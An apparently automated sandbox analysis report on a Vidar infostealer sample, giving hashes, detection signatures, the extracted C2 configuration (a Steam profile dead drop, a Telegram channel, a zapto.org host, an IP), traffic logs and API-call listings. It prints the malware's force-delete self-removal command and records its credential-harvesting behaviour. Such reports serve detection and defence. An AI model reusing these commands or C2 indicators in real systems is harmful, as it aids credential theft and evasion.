Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe
Analysis ID:	1511546
MD5:	5a4ccccb90b0aaa3b248d4f0dde38823
SHA1:	be8f1d791a81696cd58e7f837a97aaea58eeb26a
SHA256:	b802eb0f4a10d4aecc9015ee86ddc9b1249212dcabc2ecb6aa97418d0de7722b
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Self deletion via cmd or bat file

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe (PID: 6924 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" MD5: 5A4CCCCB90B0AAA3B248D4F0DDE38823)

cmd.exe (PID: 6180 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe" & rd /s /q "C:\ProgramData\AEGHIJEHJDHI" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6316 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "af458cf23e4b27326a35871876cc63d9"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe PID: 6924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe PID: 6924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe.2f0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-15T18:30:02.915417+0200	2028765	3	Unknown Traffic	192.168.2.12	49718	188.245.87.202	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199747278259/badges	Avira URL Cloud: Label: malware
Source: https://t.me/armad2a	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/inventory/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "af458cf23e4b27326a35871876cc63d9"}

Multi AV Scanner detection for domain / URL

Source: arpdabl.zapto.org	Virustotal: Detection: 12%	Perma Link
Source: http://arpdabl.zapto.org/s	Virustotal: Detection: 11%	Perma Link
Source: https://188.245.87.202/	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	ReversingLabs: Detection: 63%
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Virustotal: Detection: 69%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F6CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_002F6CD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F6D50 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_002F6D50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F8980 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,	0_2_002F8980
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00300DF0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00300DF0

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.12:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.12:49721 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F1110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F1110
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F9D40 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F9D40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002F99F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002F99F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00305A70 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00305A70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00305EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00305EA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FAAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002FAAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FC2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002FC2E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FA2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002FA2C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_003056C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003056C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_00304F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,strtok_s,memset,lstrcat,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_00304F80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe	Code function: 0_2_002FB390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002FB390

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_003053C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

0_2_003053C0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199747278259

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /armad2a HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 188.245.87.202 188.245.87.202
Source: Joe Sandbox View	IP Address: 23.50.98.133 23.50.98.133
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.12:49718 -> 188.245.87.202:443

Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.245.87.202
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Code function: 0_2_002F5010 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_002F5010

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /armad2a HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: P3PV1/settings: always=a session=at-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-te equals www.youtube.com (Youtube)
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-te equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: arpdabl.zapto.org

Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto..5938.149
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.org
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/D
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/n
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/s
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.org38.149
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto0.5938.149
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreemen
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://188.245.87.202
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://188.245.87.202/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://188.245.87.202/0
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://188.245.87.202/T
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://188.245.87.202/c
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://188.245.87.202/rosoft
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampower
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2605340851.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=WG6XPcWBZkQp&a
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2694769785.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe, 00000000.00000003.2682790694.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
